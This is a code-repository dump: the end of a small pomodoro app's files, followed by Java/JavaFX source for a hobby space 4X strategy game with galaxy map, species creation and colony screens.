'frame': 'none'
});
});
document.addEventListener('readystatechange', function(e) {
console.log('Ready state fired.');
}, false);
<file_sep>/README.md
tomato
======
A simple pomodoro app.
<file_sep>/build.sh
vulcanize -o build.html window.html --csp
| e3193c2d24967b4a58821f73d467191effc81899 | [
"JavaScript",
"Markdown",
"Shell"
] | 3 | JavaScript | gilbertgabog/tomato | c37f2b6f88cf326c15bd8d6ffda811abfb822b96 | f6b08be864640d5b2b83a3567a86a185f2735136 |
refs/heads/master | <repo_name>HamLord404/ProjectNova<file_sep>/src/sample/Screens/ScreenManager.java
package sample.Screens;
public class ScreenManager {
public ScreenManager(){
}
}
<file_sep>/src/sample/UIElements/LabelBackground.java
package sample.UIElements;
import javafx.scene.control.Label;
import javafx.scene.image.ImageView;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.Pane;
import javafx.scene.text.Font;
public class LabelBackground {
private ImageView sprite = new ImageView("Background.png");
private Label label = new Label();
public LabelBackground(String text,GridPane root,int row,int col){
root.add(sprite,row,col);
root.add(label,row,col);
label.setTranslateX(12);
label.setTranslateY(2);
label.setFont(new Font("OCR A Extended", 12));
label.setText(text);
sprite.setScaleX((text.length()/10) + 1);
}
public LabelBackground(String text, Pane root, int row, int col){
//root.add(sprite,row,col);
//root.add(label,row,col);
root.getChildren().add(sprite);
root.getChildren().add(label);
sprite.setTranslateX(row * sprite.getImage().getWidth());
sprite.setTranslateY(col * sprite.getImage().getHeight());
label.setTranslateX((row * sprite.getImage().getWidth()) +10);
label.setTranslateY((col * sprite.getImage().getHeight()) + 10);
label.setFont(new Font("OCR A Extended", 12));
label.setText(text);
sprite.setScaleX((text.length()/10) + 1);
}
public LabelBackground(String text, Pane root, double row, double col){
root.getChildren().add(sprite);
root.getChildren().add(label);
sprite.setTranslateX(row );
sprite.setTranslateY(col );
label.setTranslateX(row + 10);
label.setTranslateY(col + 10);
label.setFont(new Font("OCR A Extended", 12));
label.setText(text);
sprite.setScaleX((text.length()/10) + 1);
}
public ImageView getSprite() {
return sprite;
}
public void setSprite(ImageView sprite) {
this.sprite = sprite;
}
public Label getLabel() {
return label;
}
public void setLabel(Label label) {
this.label = label;
}
}
<file_sep>/src/sample/PoliticalParty.java
package sample;
import sample.Enums.Ideology;
public class PoliticalParty {
private String name;
private Ideology ideology;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Ideology getIdeology() {
return ideology;
}
public void setIdeology(Ideology ideology) {
this.ideology = ideology;
}
}
<file_sep>/src/sample/Enums/ImprovementType.java
package sample.Enums;
public enum ImprovementType {
HOSPITAL,BIOSPHERES,ARCOLOGY,HYDROPONICS_FARMS,FORTRESS,BARRACKS,PARTICLE_ACCELERATOR,HOLO_THEATRE,MUSEUM,
FACTORY,SPACE_ELEVATOR,SPACEPORT,GALACTIC_STOCK_EXCHANGE,SUPERCOMPUTER,UNIVERSITY,ROBOT_PLANT,
COUNTER_INTELLEGENCE_CENTRE,STAR_BASE,PLANETARY_SHIELD,RESEARCH_LAB,SHIPYARD,
}
<file_sep>/src/sample/Enums/ShipClass.java
package sample.Enums;
public enum ShipClass {
EXPLORATION,FRIGATE,BATTLESHIP,COLONISATION,STEALTH,TRADE,LEVIATHON
}
<file_sep>/src/sample/UIElements/Background.java
package sample.UIElements;
import javafx.scene.image.ImageView;
import javafx.scene.layout.Pane;
public class Background {
ImageView background = new ImageView("space_bg.png");
public Background(Pane root){
root.getChildren().add(background);
background.toBack();
}
}
<file_sep>/src/sample/Screens/IdeaScreen.java
package sample.Screens;
public class IdeaScreen {
}
<file_sep>/src/sample/Modifier.java
package sample;
import sample.Enums.Effect;
public class Modifier {
private Effect effect;
private double value;
public Modifier(Effect e, double v){
effect = e;
value = v;
}
}
<file_sep>/src/sample/Screens/DiplomacyScreen.java
package sample.Screens;
public class DiplomacyScreen {
}
<file_sep>/src/sample/Screens/GalaxyScreen.java
package sample.Screens;
import javafx.scene.Group;
import javafx.scene.Scene;
import javafx.scene.control.Label;
import javafx.scene.effect.ColorAdjust;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.input.KeyCode;
import javafx.scene.input.KeyEvent;
import javafx.scene.input.MouseEvent;
import javafx.scene.layout.Pane;
import javafx.scene.paint.Color;
import javafx.scene.text.Font;
import javafx.stage.Stage;
import sample.Dictionaries.BuildableDictionary;
import sample.EmpireData.Buildable;
import sample.EmpireData.Empire;
import sample.EmpireData.Fleet;
import sample.EmpireData.Ship;
import sample.FileManaging.GameSaver;
import sample.GalaxyData.Galaxy;
import sample.GalaxyData.Hex;
import sample.GalaxyData.Star;
import sample.GalaxyData.StarType;
import sample.Main;
import sample.UIElements.Button;
import java.io.IOException;
import java.util.ArrayList;
public class GalaxyScreen {
int mapX = 12;
int mapY = 18;
Hex[][] grid;
Group hexes = new Group();
Pane root = new Pane();
public Galaxy galaxy = new Galaxy(root);
Scene galaxyScene = new Scene(root,1000,700);
ImageView background = new ImageView("space_bg.png");
ImageView stupidFix = new ImageView("select.png");
Button endTurn = new Button("End Turn",root,800,600);
Button tech = new Button("Technology",root,640,600);
Button government = new Button("Government",root,480,600);
ImageView topBar = new ImageView("ui_8.png");
ImageView GC = new ImageView("GC.png");
Label creditCount = new Label();
ImageView sci = new ImageView("SCI.png");
Label scienceCount = new Label();
ImageView stab = new ImageView("STAB.png");
Label stabilityCount = new Label();
ImageView inf = new ImageView("INF.png");
Label influenceCount = new Label();
Stage primaryStage;
Empire empire;
public GalaxyScreen(Stage s,Empire empire){
this.empire = empire;
mapX = Main.mapx;
mapY = Main.mapy;
grid = new Hex[mapX][mapY];
generateHexGrid();
updateHexGrid();
galaxyScene.setOnKeyPressed(event -> {
try {
processHotkey(event);
} catch (IOException e) {
e.printStackTrace();
}
});
root.getChildren().add(background);
root.getChildren().add(stupidFix);
stupidFix.setTranslateY(2000);
background.toBack();
topBar.setScaleX(0.33);
topBar.setScaleY(0.33);
topBar.setTranslateX(-(topBar.getImage().getWidth()/3) -10);
topBar.setTranslateY(-(topBar.getImage().getHeight()/3));
root.getChildren().add(topBar);
root.getChildren().add(GC);
root.getChildren().add(sci);
root.getChildren().add(stab);
root.getChildren().add(inf);
endTurn.getSegmentGroup().setOnMouseClicked(this::endTurn);
endTurn.getLabel().setOnMouseClicked(this::endTurn);
primaryStage = s;
}
public void generateHexGrid(){
background.setScaleX(5);
background.setScaleY(5);
hexes.getChildren().add(background);
for(int i = 0; i < mapX; i++){
for(int j = 0; j < mapY; j++){
grid[i][j] = new Hex(root,i,j);
//grid[i][j].getSprite().setOnMouseClicked(this::SelectHex);
grid[i][j].getAdjust().setOnMouseClicked(this::SelectHex);
grid[i][j].getAdjust().setOnMouseEntered(this::MouseOver);
grid[i][j].getAdjust().setOnMouseExited(this::MouseOff);
grid[i][j].getTileHover().setOnMouseEntered(this::MouseOver);
grid[i][j].getTileHover().setOnMouseExited(this::MouseOff);
hexes.getChildren().add(grid[i][j].getSprite());
hexes.getChildren().add(grid[i][j].getAdjust());
//hexes.getChildren().add(grid[i][j].getSanityTest());
hexes.getChildren().add(grid[i][j].getTileHover());
grid[i][j].getTileHover().toFront();
if(galaxy.getGrid()[i][j].getType() != StarType.NONE){
grid[i][j].setStar(galaxy.getGrid()[i][j]);
}
}
}
for(int i = 0; i < mapX; i++){
for(int j = 0; j < mapY; j++){
grid[i][j].getTileHover().toFront();
}
}
//size grid
root.getChildren().add(hexes);
hexes.setScaleX(0.2);
hexes.setScaleY(0.2);
hexes.setTranslateX(-1700);
hexes.setTranslateY(-800);
hexes.getChildren().add(stupidFix);
}
public void updateHexGrid(){
System.out.println(" empire count: " + galaxy.getEmpires().size());
for(int i = 0; i < galaxy.getEmpires().size();i++){
System.out.println(" territory size: " + galaxy.getEmpires().get(i).getTerritory().size());
Empire currentEmpire = galaxy.getEmpires().get(i);
for(int j = 0; j < galaxy.getEmpires().get(i).getTerritory().size();j++){
Star currentStar = galaxy.getEmpires().get(i).getTerritory().get(j);
String spriteChange = "tile_blank.png";
if(currentStar.getType() != StarType.NONE){
spriteChange = "startilebasenewclaimed.png";
}else{
spriteChange = "tile_base_1.png";
}
for(int c = 0; c < currentEmpire.getColonies().size(); c++){
if(currentEmpire.getColonies().get(c).getX() == currentStar.getX() && currentEmpire.getColonies().get(c).getY() == currentStar.getY()){
spriteChange = currentEmpire.getIcon().getUrl();
}
}
grid[currentStar.getX()][currentStar.getY()].getSprite().setImage(new Image(spriteChange));
grid[currentStar.getX()][currentStar.getY()].getAdjust().setEffect(galaxy.getEmpires().get(i).getMapColor());
}
}
for(Fleet f : empire.getFleets()){
f.getSprite().setOnMouseClicked(this::selectFleet);
}
}
public void loadTopBarData(Empire e){
root.getChildren().add(creditCount);
creditCount.setTranslateX(40);
creditCount.setText(e.getCredits() + "");
creditCount.setFont(new Font("OCR A Extended", 12));
creditCount.setTextFill(Color.LIGHTYELLOW);
root.getChildren().add(scienceCount);
scienceCount.setTranslateX(120);
scienceCount.setText(e.getScience() + "");
scienceCount.setFont(new Font("OCR A Extended", 12));
scienceCount.setTextFill(Color.LIGHTBLUE);
root.getChildren().add(stabilityCount);
stabilityCount.setTranslateX(180);
stabilityCount.setText(e.getStability() + "");
stabilityCount.setFont(new Font("OCR A Extended", 12));
stabilityCount.setTextFill(Color.LIGHTGRAY);
root.getChildren().add(influenceCount);
influenceCount.setTranslateX(220);
influenceCount.setText(e.getInfluence() + "");
influenceCount.setFont(new Font("OCR A Extended", 12));
influenceCount.setTextFill(Color.DARKMAGENTA);
}
public void selectFleet(MouseEvent event){
Fleet selectedFleet = null;
for(Fleet f : empire.getFleets()){
if(f.getSprite() == event.getSource()){
selectedFleet = f;
}
}
}
public void SelectHex(MouseEvent event){
Hex src = null;
int x = 0;
int y = 0;
for(int i = 0; i < mapX; i++){
for(int j = 0; j < mapY; j++){
if(grid[i][j].getAdjust() == event.getSource()){
src = grid[i][j];
x = i;
y = j;
}
}
}
//empire.annexStar(galaxy.getGrid()[x][y]);
//updateHexGrid();
System.out.println("Hex position: "+x+" "+y);
Star temp = galaxy.getGrid()[x][y];
System.out.println(temp.getPlanets().size());
for(int i = 0; i < temp.getPlanets().size(); i++){
System.out.println(temp.getPlanets().get(i).getName() + " " + temp.getPlanets().get(i).getBiome().toString());
}
if(temp.getPlanets().size() > 0){
StarScreen starScreen = new StarScreen(temp,this,primaryStage,empire);
primaryStage.setScene(starScreen.starScene);
}
}
public void MouseOver(MouseEvent event){
for(int i = 0; i < mapX; i++){
for(int j = 0; j < mapY; j++){
if(event.getSource() == grid[i][j].getAdjust() || event.getSource() == grid[i][j].getTileHover()){
grid[i][j].getTileHover().setVisible(true);
}
}
}
}
public void MouseOff(MouseEvent event){
for(int i = 0; i < mapX; i++){
for(int j = 0; j < mapY; j++){
if(event.getSource() == grid[i][j].getAdjust() || event.getSource() == grid[i][j].getTileHover()){
grid[i][j].getTileHover().setVisible(false);
}
}
}
}
public void processHotkey(KeyEvent event) throws IOException {
if(event.getCode() == KeyCode.S){
GameSaver.saveGame(galaxy);
System.out.println("Game saved");
}
}
public void endTurn(MouseEvent event){
empire.processTurn(root);
}
}
<file_sep>/src/sample/UIElements/Button.java
package sample.UIElements;
import javafx.scene.Group;
import javafx.scene.control.Label;
import javafx.scene.image.ImageView;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.Pane;
import javafx.scene.text.Font;
import sample.Util.Scaler;
import java.util.ArrayList;
public class Button {
private ImageView sprite = new ImageView("Button.png");
private Label label = new Label();
private ArrayList<ImageView> segments = new ArrayList<>();
private Group segmentGroup = new Group();
public Button(String text, GridPane root,int row,int col){
segmentGroup.getChildren().add(sprite);
root.add(segmentGroup,row,col);
root.add(label,row,col);
label.setText(text);
label.setFont(new Font("OCR A Extended", 12));
label.setTranslateX(12);
}
public Button(String text, Pane root, int posX, int posY){
label.setText(text);
label.setFont(new Font("OCR A Extended", 12));
correctSize(root,posX, posY);
root.getChildren().add(label);
label.setTranslateX(posX + 12);
label.setTranslateY(posY + 12);
}
public void setXPos(double x){
segmentGroup.setTranslateX(x);
label.setTranslateX(x + 10);
}
public void setYPos(double y){
segmentGroup.setTranslateY(y);
label.setTranslateY(y + 20);
}
public void correctSize(Pane root, int posX,int posY){
ImageView temp = new ImageView("ui_1.png");
segments.add(temp);
temp.setTranslateX(posX);
temp.setTranslateY(posY);
Scaler.ScaleImage(temp,0.33,posX,posY);
int middleSegments = (int)(label.getText().length() * 0.8);
for(int i = 0; i < middleSegments; i++){
temp = new ImageView("ui_2.png");
segments.add(temp);
temp.setTranslateX(posX + ((i+1) * temp.getImage().getWidth()));
temp.setTranslateY(posY);
Scaler.ScaleImage(temp,0.33,posX + ((i+1) * (temp.getImage().getWidth() * 0.33)),posY);
}
temp = new ImageView("ui_3.png");
segments.add(temp);
temp.setTranslateX(posX + ((middleSegments+1) * temp.getImage().getWidth()));
temp.setTranslateY(posY);
Scaler.ScaleImage(temp,0.33,posX + ((middleSegments+1) * (temp.getImage().getWidth() * 0.33) ),posY);
for(int i = 0; i < segments.size(); i++){
segmentGroup.getChildren().add(segments.get(i));
}
root.getChildren().add(segmentGroup);
}
public ImageView getSprite() {
return sprite;
}
public void setSprite(ImageView sprite) {
this.sprite = sprite;
}
public Group getSegmentGroup() {
return segmentGroup;
}
public void setSegmentGroup(Group segmentGroup) {
this.segmentGroup = segmentGroup;
}
public Label getLabel() {
return label;
}
public void setLabel(Label label) {
this.label = label;
}
}
<file_sep>/src/sample/Screens/SpeciesCreationScreen.java
package sample.Screens;
import javafx.scene.Node;
import javafx.scene.Scene;
import javafx.scene.control.Label;
import javafx.scene.control.TextField;
import javafx.scene.image.ImageView;
import javafx.scene.input.MouseEvent;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.Pane;
import javafx.scene.text.Font;
import javafx.stage.Stage;
import sample.EmpireData.Species;
import sample.Dictionaries.TraitDictionary;
import sample.Enums.TraitEnum;
import sample.UIElements.*;
import java.util.ArrayList;
public class SpeciesCreationScreen {
Pane root = new Pane();
Scene speciesCreationScene = new Scene(root,1000,500);
Label title = new Label("10 picks left");
int picks = 10;
Background bg = new Background(root);
Species newSpecies = new Species();
TextField speciesName = new TextField();
LabelBackground speciesNameLabel = new LabelBackground("Species Name",root,0,4);
Stage primaryStage;
LabelBackground picksLeft = new LabelBackground("10 picks",root,0,0);
Button next = new Button("Next",root,650,300);
ArrayList<ToggleButton> buttons = new ArrayList<>();
ToggleButton food1 = new ToggleButton(root,0,1,"-1 food");
ToggleButton food2 = new ToggleButton(root,0,2,"+1 food");
ToggleButton food3 = new ToggleButton(root,0,3,"+2 food");
ToggleButton prod1 = new ToggleButton(root,1,1,"-1 production");
ToggleButton prod2 = new ToggleButton(root,1,2,"+1 production");
ToggleButton prod3 = new ToggleButton(root,1,3,"+2 production");
ToggleButton sci1 = new ToggleButton(root,2,1,"-1 science");
ToggleButton sci2 = new ToggleButton(root,2,2,"+1 science");
ToggleButton sci3 = new ToggleButton(root,2,3,"+2 science");
ToggleButton inf1 = new ToggleButton(root,3,1,"-1 influence");
ToggleButton inf2 = new ToggleButton(root,3,2,"+1 influence");
ToggleButton inf3 = new ToggleButton(root,3,3,"+2 influence");
ToggleButton Adaptable = new ToggleButton(root,4,1,"Adaptable");
ToggleButton Mechanical = new ToggleButton(root,4,2,"Mechanical");
ToggleButton Cyborg = new ToggleButton(root,4,3,"Cyborg");
ToggleButton Warriors = new ToggleButton(root,4,4,"Warriors");
ToggleButton Lithovore = new ToggleButton(root,4,5,"Lithovore");
ToggleButton Psionic = new ToggleButton(root,4,6,"Psionic");
ToggleButton Aquatic = new ToggleButton(root,4,7,"Aquatic");
ToggleButton Content = new ToggleButton(root,4,8,"Content");
public SpeciesCreationScreen(Stage s){
primaryStage = s;
title.setFont(new Font("BankGothic Md BT", 30));
//put the buttons in the arrayList for looping
addButtons();
addMutuallyExclusives();
for (ToggleButton x : buttons) {
x.getSprite().setOnMouseClicked(this::selectPick);
x.getLabel().setOnMouseClicked(this::selectPick);
}
next.getSegmentGroup().setOnMouseClicked(this::finishRace);
next.getLabel().setOnMouseClicked(this::finishRace);
root.getChildren().add(speciesName);
speciesName.setTranslateX(0);
speciesName.setTranslateY(155);
addToolTips();
}
private void addToolTips(){
Node[] temp = {food1.getSprite(),food1.getLabel()};
String tempText = "This species does not\n" +
"grow much food\n" +
"\n" +
"Gameplay Effect: \n" +
"-1 food from pop\n" +
"\n" +
"+2 picks";
Tooltip food1Tip = new Tooltip(temp,tempText,root);
Node[] temp2 = {food2.getSprite(),food2.getLabel()};
tempText = "This species is quite\n" +
"adept at farming\n" +
"\n" +
"Gameplay Effect: \n" +
"+1 food from pop\n" +
"\n" +
"-2 picks";
Tooltip food2Tip = new Tooltip(temp2,tempText,root);
Node[] temp3 = {food3.getSprite(),food3.getLabel()};
tempText = "This species is\n" +
"expert at farming\n" +
"\n" +
"Gameplay Effect: \n" +
"+2 food from pop\n" +
"\n" +
"-5 picks";
Tooltip food3Tip = new Tooltip(temp3,tempText,root);
Node[] temp4 = {prod1.getSprite(),prod1.getLabel()};
tempText = "This species is\n" +
"not very industrious\n" +
"\n" +
"Gameplay Effect: \n" +
"-1 production from pop\n" +
"\n" +
"+2 picks";
Tooltip prod1Tip = new Tooltip(temp4,tempText,root);
Node[] temp5 = {prod2.getSprite(),prod2.getLabel()};
tempText = "This species is\n" +
"quite industrious\n" +
"\n" +
"Gameplay Effect: \n" +
"+1 production from pop\n" +
"\n" +
"-2 picks";
Tooltip prod2Tip = new Tooltip(temp5,tempText,root);
Node[] temp6 = {prod3.getSprite(),prod3.getLabel()};
tempText = "This species is\n" +
"very industrious\n" +
"\n" +
"Gameplay Effect: \n" +
"+2 production from pop\n" +
"\n" +
"-5 picks";
Tooltip prod3Tip = new Tooltip(temp6,tempText,root);
Node[] temp7 = {sci1.getSprite(),sci1.getLabel()};
tempText = "This species is\n" +
"not that intelligent\n" +
"\n" +
"Gameplay Effect: \n" +
"-1 science from pop\n" +
"\n" +
"+2 picks";
Tooltip sci1Tip = new Tooltip(temp7,tempText,root);
Node[] temp8 = {sci2.getSprite(),sci2.getLabel()};
tempText = "This species is\n" +
"quite intelligent\n" +
"\n" +
"Gameplay Effect: \n" +
"+1 science from pop\n" +
"\n" +
"-2 picks";
Tooltip sci2Tip = new Tooltip(temp8,tempText,root);
Node[] temp9 = {sci3.getSprite(),sci3.getLabel()};
tempText = "This species is\n" +
"very intelligent\n" +
"\n" +
"Gameplay Effect: \n" +
"+2 science from pop\n" +
"\n" +
"-5 picks";
Tooltip sci3Tip = new Tooltip(temp9,tempText,root);
Node[] temp10 = {inf1.getSprite(),inf1.getLabel()};
tempText = "This species is\n" +
"not very good at governing\n" +
"\n" +
"Gameplay Effect: \n" +
"-1 influence from pop\n" +
"\n" +
"+2 picks";
Tooltip inf1Tip = new Tooltip(temp10,tempText,root);
Node[] temp11 = {inf2.getSprite(),inf2.getLabel()};
tempText = "This species is\n" +
"quite good at governing\n" +
"\n" +
"Gameplay Effect: \n" +
"+1 influence from pop\n" +
"\n" +
"-2 picks";
Tooltip inf2Tip = new Tooltip(temp11,tempText,root);
Node[] temp12 = {inf3.getSprite(),inf3.getLabel()};
tempText = "This species is\n" +
"very good at governing\n" +
"\n" +
"Gameplay Effect: \n" +
"+2 influence from pop\n" +
"\n" +
"-5 picks";
Tooltip inf3Tip = new Tooltip(temp12,tempText,root);
Node[] temp13 = {Adaptable.getSprite(),Adaptable.getLabel()};
tempText = "This species is\n" +
"very hardy and can live\n" +
"in a multitude of environments\n" +
"\n" +
"Gameplay Effect: \n" +
"+15% habitability on all worlds\n" +
"\n" +
"-6 picks";
Tooltip adaptableTip = new Tooltip(temp13,tempText,root);
Node[] temp14 = {Mechanical.getSprite(),Mechanical.getLabel()};
tempText = "This species is\n" +
"a machine with no noticable\n" +
"Biological parts\n" +
"\n" +
"Gameplay Effect: \n" +
"Pops do not require food\n" +
"+30% habitabilty on all worlds\n" +
"Must build pops\n" +
"\n" +
"-8 picks";
Tooltip mechanicalTip = new Tooltip(temp14,tempText,root);
Node[] temp15 = {Cyborg.getSprite(),Cyborg.getLabel()};
tempText = "All members of this species\n" +
"have been cybernetically\n" +
"augmented\n" +
"\n" +
"Gameplay Effect: \n" +
"Pops require half as much food\n" +
"+15% Ground Force weapons\n" +
"\n" +
"-4 picks";
Tooltip cyborgTip = new Tooltip(temp15,tempText,root);
Node[] temp16 = {Lithovore.getSprite(),Lithovore.getLabel()};
tempText = "This species is silicon-based\n" +
"and consumes minerals straight\n" +
"from stone for nurishment\n" +
"\n" +
"Gameplay Effect:\n" +
"gain food equal to production\n" +
"cannot farm\n" +
"\n" +
"-7 picks";
Tooltip lithovoreTip = new Tooltip(temp16,tempText,root);
Node[] temp17 = {Psionic.getSprite(),Psionic.getLabel()};
tempText = "This species has unlocked\n" +
"the ability to use it's brain\n" +
"foe telepathy with the help of\n" +
"technology\n" +
"\n" +
"Gameplay Effect:\n" +
"Spy Defence +25%\n" +
"Ship Sight +2\n" +
"\n" +
"-6 picks";
Tooltip psionicTip = new Tooltip(temp17,tempText,root);
Node[] temp18 = {Warriors.getSprite(),Warriors.getLabel()};
tempText = "This species has a warrior\n" +
"culture where fighting is \n" +
"commonplace. Most citizens have\n" +
"some form of combat experience.\n" +
"\n" +
"Gameplay Effect:\n" +
"Military Unit Starting level +2\n" +
"+25% Military Unit production\n" +
"\n" +
"-4 picks";
Tooltip warriorsTip = new Tooltip(temp18,tempText,root);
Node[] temp19 = {Aquatic.getSprite(),Aquatic.getLabel()};
tempText = "This species naturally\n" +
"lives underwater and can \n" +
"make maximum use of\n" +
"wet planets\n" +
"\n" +
"Gameplay Effect:\n" +
"+25% Pop capacity on \n" +
" Ocean, Island worlds\n" +
"\n" +
"-6 picks";
Tooltip aquaticTip = new Tooltip(temp19,tempText,root);
Node[] temp20 = {Content.getSprite(),Content.getLabel()};
tempText = "This species is naturally\n" +
"happy and is not upset often \n" +
"\n" +
"Gameplay Effect:\n" +
"-0.5 unhappiness per pop\n" +
"\n" +
"-4 picks";
Tooltip contentTip = new Tooltip(temp20,tempText,root);
}
private void selectPick(MouseEvent event){
for (ToggleButton x : buttons) {
if(x.getSprite() == event.getSource() || x.getLabel() == event.getSource()){
for(ToggleButton y : x.getMutuallyExclusive()){
if(y.isActive()) {
updatePickCount(-TraitDictionary.resolveTrait((TraitEnum) y.getData()));
newSpecies.getTraits().remove(y.getData());
y.clickFeedback(event);
}
}
if(!x.isActive()) {
updatePickCount(TraitDictionary.resolveTrait((TraitEnum) x.getData()));
newSpecies.getTraits().add((TraitEnum) x.getData());
} else {
updatePickCount(-TraitDictionary.resolveTrait((TraitEnum) x.getData()));
newSpecies.getTraits().remove(x.getData());
}
x.clickFeedback(event);
}
}
}
private void addMutuallyExclusives(){
food1.addExclusive(food2);
food1.addExclusive(food3);
food2.addExclusive(food3);
sci1.addExclusive(sci2);
sci1.addExclusive(sci3);
sci2.addExclusive(sci3);
inf1.addExclusive(inf2);
inf1.addExclusive(inf3);
inf2.addExclusive(inf3);
prod1.addExclusive(prod2);
prod1.addExclusive(prod3);
prod2.addExclusive(prod3);
}
private void finishRace(MouseEvent event){
if(picks >= 0){
GovernmentCreationScreen x = new GovernmentCreationScreen(newSpecies,primaryStage);
primaryStage.setScene(x.govCreationScene);
}
}
private void updatePickCount(int cost){
picks -= cost;
picksLeft.getLabel().setText(picks + " picks");
if(picks < 0){
next.getSegmentGroup().setVisible(false);
next.getLabel().setVisible(false);
} else {
next.getSegmentGroup().setVisible(true);
next.getLabel().setVisible(true);
}
}
private void addButtons(){
buttons.add(food1);
food1.setData(TraitEnum.FOOD_MINUS_1);
buttons.add(food2);
food2.setData(TraitEnum.FOOD_PLUS_1);
buttons.add(food3);
food3.setData(TraitEnum.FOOD_PLUS_2);
buttons.add(prod1);
prod1.setData(TraitEnum.PROD_MINUS_1);
buttons.add(prod2);
prod2.setData(TraitEnum.PROD_PLUS_1);
buttons.add(prod3);
prod3.setData(TraitEnum.PROD_PLUS_2);
buttons.add(sci1);
sci1.setData(TraitEnum.SCI_MINUS_1);
buttons.add(sci2);
sci2.setData(TraitEnum.SCI_PLUS_1);
buttons.add(sci3);
sci3.setData(TraitEnum.SCI_PLUS_2);
buttons.add(inf1);
inf1.setData(TraitEnum.INF_MINUS_1);
buttons.add(inf2);
inf2.setData(TraitEnum.INF_PLUS_1);
buttons.add(inf3);
inf3.setData(TraitEnum.INF_PLUS_2);
buttons.add(Adaptable);
Adaptable.setData(TraitEnum.ADAPTABLE);
buttons.add(Mechanical);
Mechanical.setData(TraitEnum.MECHANICAL);
buttons.add(Cyborg);
Cyborg.setData(TraitEnum.CYBORG);
buttons.add(Psionic);
Psionic.setData(TraitEnum.PSIONIC);
buttons.add(Warriors);
Warriors.setData(TraitEnum.WARRIORS);
buttons.add(Lithovore);
Lithovore.setData(TraitEnum.LITHOVORE);
buttons.add(Aquatic);
Aquatic.setData(TraitEnum.AQUATIC);
buttons.add(Content);
Content.setData(TraitEnum.CONTENT);
}
public Pane getRoot() {
return root;
}
public void setRoot(GridPane root) {
this.root = root;
}
public Scene getSpeciesCreationScene() {
return speciesCreationScene;
}
public void setSpeciesCreationScene(Scene speciesCreationScene) {
this.speciesCreationScene = speciesCreationScene;
}
}
<file_sep>/src/sample/EmpireData/Colony.java
package sample.EmpireData;
import javafx.scene.layout.Pane;
import sample.Dictionaries.BuildableDictionary;
import sample.Enums.BuildType;
import sample.Enums.Effect;
import sample.Enums.Job;
import sample.Enums.TraitEnum;
import sample.GalaxyData.Galaxy;
import sample.GalaxyData.Planet;
import sample.GalaxyData.Star;
import sample.Screens.GalaxyScreen;
import java.util.ArrayList;
import java.util.Random;
public class Colony {
private ArrayList<Pop> pops = new ArrayList<>();
private ArrayList<Improvement> improvements = new ArrayList<Improvement>();
private Star star;
private int growthProgress;
final int growthThreshold = 300;
private int productionProgress;
private Buildable currentConstruction;
//private Star location;
private int x;
private int y;
private int expandCount = 0;
public Colony(Star star,int x,int y){
this.star = star;
this.x = x;
this.y = y;
}
public void addPop(Species species, int popCount){
for(int i = 0; i < popCount; i++) {
pops.add(new Pop(species));
}
}
public void turnTick(Empire e, Pane root){
double food = 0;
double production = 0;
double science = 0;
double influence = 1;
for(Pop p : pops){
if(p.getJob() == Job.FARMER){
food += 3 + p.getSpecies().getFoodBonus();
}
if(p.getJob() == Job.WORKER){
production += 2 + p.getSpecies().getProductionBonus();
}
if(p.getJob() == Job.SCIENTIST){
science += 2 + p.getSpecies().getScienceBonus();
}
}
food *= e.searchForModifier(Effect.EMPIRE_FOOD);
production *= e.searchForModifier(Effect.EMPIRE_PRODUCTION);
science *= e.searchForModifier(Effect.EMPIRE_SCIENCE);
//Pops consume food
for (Pop p: pops){
if(p.getSpecies().getTraits().contains(TraitEnum.CYBORG)){
food -= 0.5;
} else if(p.getSpecies().getTraits().contains(TraitEnum.MECHANICAL)){
} else{
food -= 1;
}
}
//pops consume production
growthProgress += food;
productionProgress += production;
if(growthProgress >= growthThreshold){
addPop(CalculateNewPopToGrow(e),1);
growthProgress = 0;
}
e.addScience(science);
e.setInfluence(e.getInfluence()+influence);
System.out.println("production progress: " + productionProgress);
if(productionProgress >= currentConstruction.getProductionCost()){
productionProgress = 0;
finishProduction(e,root);
}
}
public void finishProduction(Empire e,Pane root){
if(currentConstruction.getBuildableType() == BuildType.SHIP){
ArrayList<Ship> ships = new ArrayList<>();
ships.add((Ship)currentConstruction);
Fleet newFleet = new Fleet(e,x,y,ships,root);
e.getFleets().add(newFleet);
System.out.println("ship Built");
}
}
public void expandBorders(Empire e,Galaxy g){
}
public void findFleetForShip(Ship ship,Empire e){
for (Fleet f: e.getFleets()) {
}
}
public int getTurnlyProduction(Empire e){
int production = 0;
for(Pop p : pops){
if(p.getJob() == Job.WORKER){
production += 2 + p.getSpecies().getProductionBonus();
}
}
production *= e.searchForModifier(Effect.EMPIRE_PRODUCTION);
return production;
}
public int getTurnlyFood(Empire e){
int food = 0;
for(Pop p : pops){
if(p.getJob() == Job.FARMER){
food += 2 + p.getSpecies().getFoodBonus();
}
}
food *= e.searchForModifier(Effect.EMPIRE_FOOD);
return food;
}
public int getTurnlyScience(Empire e){
int science = 0;
for(Pop p : pops){
if(p.getJob() == Job.SCIENTIST){
science += 2 + p.getSpecies().getScienceBonus();
}
}
science *= e.searchForModifier(Effect.EMPIRE_SCIENCE);
return science;
}
public Species CalculateNewPopToGrow(Empire e){
Species species;
Random r = new Random();
int index = r.nextInt(pops.size());
species = pops.get(index).getSpecies();
return species;
}
public void GrowBorders(){
}
public int getX() {
return x;
}
public void setX(int x) {
this.x = x;
}
public int getY() {
return y;
}
public void setY(int y) {
this.y = y;
}
public Buildable getCurrentConstruction() {
return currentConstruction;
}
public void setCurrentConstruction(Buildable currentConstruction) {
this.currentConstruction = currentConstruction;
}
public Star getStar() {
return star;
}
public void setPlanet(Star star) {
this.star = star;
}
}
<file_sep>/src/sample/UIElements/TextEntry.java
package sample.UIElements;
public class TextEntry {
}
<file_sep>/src/sample/Enums/Effect.java
package sample.Enums;
public enum Effect {
POPULATION_GROWTH,LEADER_LEVEL_CAP,LEADER_XP_GAIN,MILITARY_UNIT_XP_GAIN,MILITARY_MAINTENANCE,EMPIRE_INFLUENCE,EMPIRE_SCIENCE,
EMPIRE_PRODUCTION,EMPIRE_CREDITS,TRADE_REVENUE,WAR_WEARINESS,STRATEGIC_RESOURCE_SHIP_COST,GOVERNER_INF_BONUS,MILITARY_UNIT_COST_REDUCTION,
